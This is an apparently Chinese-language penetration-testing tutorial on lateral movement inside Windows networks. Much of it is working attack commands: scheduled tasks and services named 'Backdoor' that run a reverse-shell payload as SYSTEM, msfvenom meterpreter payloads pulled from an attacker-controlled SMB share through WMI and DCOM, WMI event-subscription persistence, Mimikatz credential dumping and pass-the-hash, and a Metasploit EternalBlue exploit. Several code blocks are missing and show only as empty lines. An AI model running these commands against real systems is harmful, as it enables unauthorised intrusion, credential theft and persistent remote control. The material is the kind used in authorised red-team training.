内网渗透体系建设-内网横向移动
横向移动中的文件传输
制定文件传输的方案,以便在后续操作过程向攻击目标部署攻击载荷或其他文件。
通过网络共享
Windows 系统中的网络共享功能可以实现局域网之间的文件共享。通过提供有效的用户凭据,用户可以很轻松地将文件从一台机器传输到另一台机器。
执行net share命令可以查看Windows系统默认开启的网络共享
|
而实战中往往会建立IPC$连接。因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等。
建立IPC$连接要满足两个条件:
- 远程主机开启了IPC连接
- 远程主机的139端口和445端口开放
执行下列命令与远程主机建立IPC连接:
|
此时执行下列命令可以列出C盘共享目录:
|
使用copy命令可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地,但需要注意当前用户对远程目录的权限。
|
建立其他共享连接也类似,例如C$:
|
搭建SMB服务器
SMB(Server Message Block,服务器消息块),又称 CIFS(Common Internet FileSystem,网络文件共享系统),由微软开发,基于应用层网络传输协议,主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通新等资源。SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。
实战中可以在测试人员自己的服务器或当前所控内网主机上搭建 SMB 服务器,将需要横向传输的文件如攻击载荷等放入 SMB 服务器的共享目录,并指定UNC路径,让横向移动的目标主机远程加载 SMB 共享的文件。注意,需使用 SMB 匿名共享,并且搭建的SMB服务器能够被横向移动的目标所访问到。
在Linux上可以使用Impacket项目的smbserver.py来搭建SMB服务器
执行下面命令搭建一个名为evilsmb,共享目录指向/root/share的SMB匿名共享
|
在Windows上如果获得管理员权限可以手动配置SMB匿名共享,也可以通过Invoke-BuildAnonymousSMBServer快速搭建,项目地址:https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer
通过Windows自带工具
Certutil
Certutil 是 Windows 自带的命令行工具,用于管理 Windows 证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。
|
通过certutil下载shell.php,并保存为reverse_tcp.exe
BITSAdmin
这是Windows7之后自带的命令行工具,可以用于文件上传下载、监控上传进度
|
PowerShell
可以通过创建WebClient对象来实现文件下载
|
创建计划任务
常规利用流程
创建IPC连接之后,可以在远程主机创建计划任务;在拥有对方管理员凭据的情况下可以实现横向移动
具体操作流程如下:
利用已建立的共享连接向主机上传攻击载荷
利用已建立的IPC连接或指定用户凭据的方式在远程主机创建计划任务
schtasks /Create /S 10.10.10.19 /TN Backdoor /SC minute /MO 1 /TR reverse_tcp.exe /RU System /F
# /S,指定要连接的系统;/TN,指要创建的计划任务的名称;/SC,指计划任务执行的频率
# /MO,计划任务执行的周期;/TR,执行的程序路径;/RU,计划任务执行的系统权限;
# /F,若任务已存在则强制创建如果没用建立IPC连接,需要手动指定用户凭据
schtasks /Create /S 10.10.10.19 /TN Backdoor /SC minute /MO 1 /TR reverse_tcp.exe /RU System /F /U Administrator /P Admin@123
执行下面命令启动计划任务,也可以等待计划任务自己启动
schtasks /RUN /S 10.10.10.19 /I /TN Backdoor
执行下面命令删除计划任务
schtasks /Delete /S 10.10.10.19 /TN Backdoor /F
还可以通过写计划任务执行系统命令,并将结果写入文件保存
|
UNC路径加载执行
Windows中使用UNC路径来访问共享资源,格式如下:
|
servername为主机名,sharename为网络共享名称,directory和filename为共享下的目录和名称
通过该方法可以省去上传攻击载荷的步骤,直接用UNC路径代替本地路径,让远程主机直接加载测试人员搭建的SMB匿名服务器上的共享目录下的攻击载荷
这里以创建计划任务示例,创建其他任务来加载文件的形式一样
|
利用系统服务
创建远程服务
除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下:
利用已建立的共享连接上传攻击载荷
利用已建立的IPC连接创建系统任务
sc \\10.10.10.19 create Backdoor binpath= "cmd.exe /k C:\reverse_tcp.exe"
# binpath,指定服务启动时运行的二进制文件,"="后面有一个空格启动该服务
sc \\10.10.10.19 start Backdoor
攻击成功后,删除创建的任务
sc \\10.10.10.19 delete Backdoor
SCShell
SCShell是一款利用系统服务的无文件横向移动工具。
跟传统创建系统任务不同的是,SCShell 利用提供的用户凭据,通过ChangeServiceConfigA API修改远程主机上的服务配置,将服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务。执行结束后,服务二进制路径将恢复为原始路径
SCShell 需要提供远程主机的管理员权限用户的凭据,并且需要已知远程主机上的系统服务名称。方法如下:
|
UAC Remote Restrictions
为了更好地保护属于本地管理员组成员的用户,微软在 Windows Vista 以后的操作系统中引入了 UACRemote Restrictions(远程限制)。此机制有助于防止本地恶意软件以管理权限远程运行。
因此,如果测试人员使用计算机本地用户进行需要管理员权限的远程管理操作,无论是schtasks还是PsExec、WMI、WinRM、哈希传递攻击等,都只能使用RID 500的本地管理员用户才行,使用其他任何用户包括非RID 500用户都会提示拒绝访问。
注意,UAC Remote Restrictions只限制本地用户,域管理员用户不受限制,因此会在很大程度上限制工作组环境中的横向移动。
如果有权限的话可以通过下面命令来重启系统关闭UAC Remote Restrictions:
|
远程桌面利用
远程桌面协议(Remote Desktop Protocol,RDP)是微软从 Windows Server 2000 开始提供的功能,用户可以通过该功能登录并管理远程主机,所有操作就像在自己的计算机上操作一样。远程桌面协议默认监听 TCP 3389 端口。
可以利用远程桌面服务对目标主机进行实时操作,但是这种方法可能将已登录的用户强制退出,容易被管理员发现。
远程桌面的确定和开启
|
上面命令通过查询注册表来确定当前主机是否开启了远程桌面功能,若字段为0,则说明RDP服务已经启动,若为1,则说明禁用。
执行下面命令可以开启远程桌面功能:
|
对于远程主机,可以通过WMI来开启远程桌面功能,不过需要指定远程主机的IP、主机名和用户凭据:
|
RDP Hijacking
SharpRDP
SharpRDP 是一款开源工具,可以通过远程桌面协议在远程主机上执行系统命令,且不需 GUI 客户端。该工具需要远程主机开启远程桌面功能,并且防火墙放行 3389 端口。
通常在内网渗透时,如果想登录一台内网主机的远程桌面,需要先搭建内网代理然后使用 RDP 客户端进行连接。但是,测试人员可以直接将 SharpRDP 上传到跳板机,然后用获取到的用户凭据,对内网其他主机执行系统命令。这样就省去了内网代理等中间环节。
PsExec 远程控制
PsExec 是微软官方提供的一款实用的 Windows 远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。PsExec最强大的功能之一就是可以在远程系统中启动交互式命令提示窗口,以便实时显示有关远程系统的信息。
PsExec 原理是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe的二进制文件,然后注册名为“PSEXESVC”服务。当客户端执行命令时,服务端通过PSEXESVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXESVC服务会被删除。
使用PsExec进行操作需要两个条件:
- 远程主机开启了Admin$共享
- 远程主机未开启防火墙或者放行445端口
满足条件执行下面命令,用域管理员的账户连接远程主机,并以SYSTEM权限启动一个交互式命令行
|
如果已有相应凭据,可以直接使用PsExec连接远程主机
|
WMI的利用
WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的Windows 管理技术。用户可以通过 WMI 管理本地和远程计算机。Windows 为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component Object Model,DCOM)和 Windows远程管理(Windows Remote Management,WinRM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能够远程进行。
在横向移动时,测试人员可以利用WMI提供的管理功能,通过已获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前有两种常见的利用方法:一是通过调用 WMI 的类方法进行远程执行,如 Win32 Process 类中的 Create 方法可以在远程主机上创建进程,Win32 Product类中的Install方法可以在远程主机上安装恶意的MSI二是远程部署WMI事件订阅,在特定条的事件发生时触发攻击。
利用WMI横向移动需要两个条件:
- 远程主机的WMI服务为开启状态(默认开启)
- 远程主机防火墙放行135端口,这是WMI默认的管理端口
常规利用方法
在 Windows 上可以通过wmic.exe和PowerShell Cmdlet来使用 WMI数据和执行 WMI方法。
Windows PowerShell 也提供了许多可以与 WMI进行交互的Cmdlet,如Invoke-WmiMethod、Set-Wmilnstance 等。
执行远程查询
查询远程主机进程信息
|
创建远程进程
通过调用 Win32_Process.Create方法在远程主机上创建进程,启动CMD 来执行系统命令
|
由于 WMIC 在执行命令时没有回显,因此可以将执行结果写入文件,然后通过建立共享连接等方式使用 type 命令远程读取。
远程安装MSI文件
通过调用 Win32 Product.Install 方法,可以控制远程主机安装恶意的 MSI(MicrosoftInstaller)文件,从而获取其权限。
使用Metasploit生成一个恶意的MSI文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.143 LPORT=4444 -f ms -o reverse tcp.msi
在一台测试人员可控的服务器上搭建 SMB 共享服务器,并将生成的 MSI文件放入共享目录。
在跳板机上执行以下命令:
控制远程主机,通过UNC路径进行远程加载测试人员服务器的 MSI 文件并进行安装,成功获取远程主机的权限.
wmic /node:10.10,10.19 /user:Administrator /password:Admin@123 product call install
PackageLocation="\\192.168.2.143\evilsmb\reverse_tcp.msi"
常见利用工具
Wmiexec
Impacket 项目的 wmiexec.py能够以全交互或半交互的方式,通过 WMI 在远程主机上执行命令。注意,该工具需要远程主机开启 135 和 445 端口,其中 445 端口用于传输命令执行的回显。
执行下面命令,获取远程主机的交互式命令行:
|
Windows平台可以使用PyInstaller,将wmiexec.py打包成独立的可执行文件exe,打包完成后可以直接上传到Windows主机中运行
|
Invoke-WmiCommand
Invoke-WmiCommand.ps1是PowerSploit 项目中的一个脚本,可以通过 PowerShell调用WMI来远程执行命令:
|
此外,PowerShell内置的Invoke-WMIMethod也可以在远程系统中执行命令或程序。
WMI事件订阅的利用
WMI提供了强大的事件处理系统,几乎可以用于对操作系统上发生的任何事件做出响应。例如,当创建某进程时,通过WMI事件订阅来执行预先设置的脚本。其中,触发事件的具体条件被称为“事件过滤器”(Event Filter),如用户登录、新进程创建等;对指定事件发生做出的响应被称为“事件消费者”(Event Consumer),包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。在部署事件订阅时,需要分别构建 Filter和 Consumer 两部分,并将二者绑定在一起。
所有的事件过滤器都被存储为一个 ROOT\subscription:__EventFilter 对象的实例,可以通过创建EventFilter 对象实例来部署事件过滤器。事件消费者是基于 ROOTsubscription:__EventConsumer 系统类派生来的类。系统提供了常用的标准事件消费类。
事件消费类 | 说明 |
---|---|
LogFileEventConsumer | 将事件数据写入指定的日志文件 |
ActiveScriptEventConsumer | 执行嵌入的VBScript或JavaScript脚本 |
NTEventLogEventConsumer | 创建一个包含事件数据的事件日志条目 |
SMTPEventConsumer | 发送一封包含事件数据的电子邮件 |
CommandLineEventConsumer | 执行指定的系统命令 |
测试人员可以利用WMI在远程主机部署永久的事件订阅,在特定事件发生时执行任意代码或者命令。该技术主要用来在目标系统完成权限持久化,亦可用于横向移动,并且需要提供远程主机的管理员权限的用户凭据。
手动利用
通过手动执行PowerShell命令来进行利用
整合PSCredential,用于后续过程的认证
$Username ="HACK-MY\Administrator"
$Password ="Admin@123"
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-0bject -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecurePassword设置攻击目标和其他公共参数
$GlobalArgs = @{}
$SComputerName = "10.10.10.19"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName']=$ComputerName在远程主机部署”TestFilter”事件过滤器,用于查询svchost.exe进程的产生。通过Set-WmiInstance Cmdlet创建一个__EventFilter类的实例即可
$EventFilterArgs = @{
EventNamespace ="root/cimv2
Name ="TestFiltern
Query = "SELECT * FROM Win32_ProcessStartTrace where processname ='svchost.exe'"
QueryLanguage ='WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs在远程主机上部署一个名为”TestConsumer”的事件消费者
$CommandLineEventConsumerArgs = @{
Name = "TestConsumer"
CommandLineTemplate = "C:\Windows\System32\cmd.exe /c calc.exe"
}
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs @GlobalArgs将创建的事件过滤器和时间消费者绑定在一起
$FilterConsumerBindingArgs = @{
Filter = $EventFilter
Consumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs @GlobalArgs
到此,已经成功在远程主机(10.10.10.19)上部署了一个事件订阅,当远程系统轮询到 svchost.exe进程产生时,将通过事件消费者执行系统命令来启动calc.exe进程。
Sharp-WMIEvent
上面的利用过程可以整合为一个powershell脚本。不过相关脚本项目网上好像没了。
在可控的服务器上搭建SMB共享服务器,并将生成的攻击载荷放入共享目录
在跳板机上执行下面命令,运行该脚本:
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 10.10.10.19 -Domain hack-my.com -Username Administrator -Password Admin@123 -Command "cmd.exe /c \\10.10.10.147\evilsmb\reverse_tcp.exe"
然后就将在远程主机上部署一个随机命名的永久事件订阅,并隔60秒会执行一次SMB共享中的攻击载荷,上线远程主机
DCOM的利用
COM和DCOM
COM
COM(Component Object Model,组件对象模型)是微软的一套软件组件的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。COM是多项微软技术与框架的基础,包括 OLE、OLE自动化、ActiveX、COM+、DCOM、Windows Shell、DirectX、Windows Runtime。
COM 由一组构造规范和组件对象库组成。COM组件对象通过接口来描述自身,组件提供的所有服务都通过其接口公开。接口被定义为“在对象上实现的一组语义上相关的功能”,实质是一组函数指针表。每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其他进程中,甚至可以在远程计算机上。
在 Windows中,每个COM 对象都由唯一的128 位的二进制标识符标识,即 GUID当 GUID用于标识 COM 对象时,被称为CLSID(类标识符);当它用于标识接口时,被称为IID(接口标识符)。一些CLSID还具有ProgID,方便人们记忆。
DCOM
DCOM(Distributed Component Object Model,分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,支持不同机器上的组件间的通信。利用DCOM,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。
DCOM是COM的扩展,允许应用程序实例化和访问远程计算机上的COM对象的属性和方法。DCOM使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在 DLL 或EXE中)可以通过RPC向客户端公开其方法。
通过DCOM横向移动
部分DCOM组件中公开的接口中可能包含不安全的方法。
执行下面命令可以查看所有DCOM程序组件:
|
测试人员可以枚举包含不安全方法的DCOM对象,并于远程计算机的DCOM对象进行交互,从而实现远程执行。不过需要满足下面的条件:拥有管理员权限的PowerShell;远程主机未开启防火墙。
目前常用的组件有:MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等。
MMC20.Application
MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令
下面利用该组件上线Meterpreter
在一台服务器搭建SMB匿名共享服务,将攻击载荷放在共享目录下面
在管理员权限的PowerShell执行下面命令:
# 通过 ProgID 与 DCOM 进行远程交互,并创建 MMC20.Application 对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.19"))
# 调用ExecuteShellCommand方法启动进程,以运行攻击载荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.2.143\evilsmb\reverse_tcp.exe","Minimized")
在调用过程中,MMC20.Application会启动mmc.exe进程,通过ExecuteShellCommand方法在 mmc.exe 中创建子进程,适用于 Windows7及以上版本的系统,
ShellWindows
ShellWindows 组件提供了 Document.Application.ShellExecute 方法,可以启动子进程来运行指定的程序或系统命令,适用于Windows7及以上版本的系统。
因为该对象没有ProgID,所以需要CLSID来创建实例。
可以用下面命令来查找:
|
还可以通过OleViewDotNet来查找,OleViewDotNet 是一个独立的工具,需要安装并在 Windows 操作系统上运行。
跟上面的利用方法类似,在管理员权限PowerShell下执行下面命令:
|
注意,ShellWindows并不会创建新进程,而是在已有 explorer.exe进程中创建并执行子进程。
ShellBrowserWindow
ShellBrowserWindow中也存在一个Document.Application.ShellExecute方法,与ShellWindows 一样,但不会创建新进程,而是通过已有的 explorer.exe 来托管子进程。该方法只适用于 Windows 10和 Windows Server 2012等版本的系统
|
WinRM的利用
WinRM 是通过执行 WS-Management 协议(用于远程软件和硬件管理的 Web 服务协议)来实现远程管理的,允许处于一个共同网络内的 Windows 计算机彼此之间互相访问和交换信息,对应的端口是 5985。在一台计算机启用 WinRM 服务后,防火墙会自动放行其相关通信端口,另一台计算机便能通过 WinRM 对其进行远程管理了。
注意,只有在Windows Server 2008以上版本的服务器中WinRM 服务才会自动居动。测试人员通过 WinRM 服务进行横向移动时,需要拥有远程主机的管理员凭据信息。
通过WinRM执行远程命令
Winrs
Winrs是一个客户端程序,通过用户凭据在运行WinRM的服务器上执行系统命令,双方都需要安装WinRM。
执行下面命令在远程主机执行上执行命令
|
还可以获得交互式命令行
|
Winrm.cmd
Winrm.cmd 允许 WMI对象通过 WinRM 传输进行远程交互,在本地或远程计算机上枚举 WMI 对象实例或调用 WMI 类方法。例如,通过调用 Win32_Process 类中的 Create方法来创建远程进程。
实战中可以远程执行一个攻击载荷,这里尝试启动一个notepad.exe进程:
|
查看远程主机的进程,可以看到正在运行
通过WinRm获取交互式会话
PowerShell下的利用
PowerShell 的远程传输协议基于WinRM规范,同时提供了强大的远程管理功能。
Enter-PSSession的PowerShellCmdlet可以启动与远程主机的会话。在会话交互期间用户输入的命令在远程计算机上运行,就像直接在远程计算机上输入一样。
跳板机上执行以下命令启动一个与远程主机的交互式会话,其名称为WinRM1
# 指定远程系统用户名
$User = "HACK-MY\Administrator"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
# 将用户名和密码整合,以便导入Credential
$Cred = New-0bject -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 根据提供的凭据创建会话
New-PSSession -Name WinRM1 -ComputerName 10.10.10.19 -Credential $cred -Port 5985执行Get-PSSession查看当前已创建的PSSession会话
执行下面命令,选中任意一个会话,进入交互模式
Enter-PSSession -Name WinRM1
也可以通过Invoke-Command在指定的会话中执行下面命令
# 指定远程系统用户名
$User ="HACK-MY\Administrator"
# 指定用户的密码
$Password =ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
#将用户名和密码整合,以便导入Credential
$Cred = New-0bject -TypeName System.Management.Automation.PsCredential -ArgumentList $User,$Password
# 根据提供的凭据创建会话
$Sess=New-PSSession -Name WinRMl -ComputerName 10,10,10.19 -Credential $Cred -Port 5985
# 在创建的会话中执行命令
Invoke-Command -Session $Sess -ScriptBlock{dir c:\}
Evil-Winrm
Evil-Winrm 是基于 WinRM Shell 的渗透框架,可通过提供的用户名密码或用户哈希值在启用了 WinRM 服务的目标主机上完成简单的攻击任务。
哈希传递攻击
哈希传递(Pass The Hash,PTH)是一种针对NTLM协议的攻击技术。在NTLM 身份认证的第三步中生成Response 时,客户端直接使用用户的NTLM 哈希值进行计算,用户的明文密码并不参与整个认证过程。也就是说,在Windows 系统中只使用用户哈希值对访问资源的用户进行身份认证。
因此当获得有效的用户名和哈希之后,就能够利用该信息对远程主机进行身份验证。
哈希传递攻击的利用
下面用Mimikatz和Impacket进行哈希传递工具,相关工具还有很多,如CrackMapExec、PowerShell、Evil-Winrm等,Metasploit框架下也内置了很多可以执行哈希传递攻击的模块。
Mimikatz利用
MImikatz内置了哈希传递功能,需要管理员权限。
Mimikatz上传到跳板机后执行下面命令抓取域管理员哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
利用抓取到的NTLM Hash进行哈希传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:570a9a65db8fba761c1008a51d4c95ab" exit
# /user,指定要传递的用户名;/domain,指定当前所处域名或工作组名;/ntlm,指定用户哈希弹出一个新的命令行窗口,在新的命令行中具有域管理员权限,可以访问域控的CIFS服务。
利用Impacket进行PTH
该项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见的有psexec.py、smbexec.py和wmiexec.py。使用时可以配合内网代理技术进行攻击。
例如smbexec.py:
|
利用哈希传递登录远程桌面
利用条件:
- 远程主机开启了”受限管理员模式”
- 用于远程登陆的用户位于远程主机的管理员组中
- 目标用户的哈希
Windows Server 2012 R2及以上版本的 Windows 系统采用了新版的RDP,支持受限管理员模式(Restricted Admin Mode)。开启该模式后,测试人员可以通过哈希传递直接登录远程桌面,不需输入明文密码。受限管理员模式在 Windows 8.1和 Windows Server2012R2上默认开启,在其他主机中可以通过执行以下命令手动开启。
|
查看主机是否开启”受限管理员模式”,为0则开启,否则未开启
reg query "HKLM\System\CurrentControlset\Control\Lsa" /v DisableRestrictedAdmin
若开启,则通过Mimikatz进行利用
privilege::debug
sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:570a9a65db8fba761c1008a51d4c95ab "/run:mstsc.exe /restrictedadmin"大致原理是,哈希传递成功后执行“mstsc.exe /restrictedadmin”命令,以受限管理员模式运行远程桌面客户端,此时不需输入用户名密码即可成功登录远程桌面
EternalBlue
即大名鼎鼎的永恒之蓝漏洞。
Metasploit 渗透框架内置了 EternalBlue 漏洞的检测和利用模块。下面通过 Windows’环境进行漏洞利用。
通过auxiliary/scanner/smb/smb_ms17_010模块扫描目标主机是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.14 # 设置目标主机的IP,也可以设置整个IP段
set threads 10
exploit通过exploit/windows/smb/ms17_010_eternalblue模块进行漏洞利用
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.14
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.147
set lport 4444
exploit
Metasploit中还有很多远程代码执行漏洞相关的漏洞。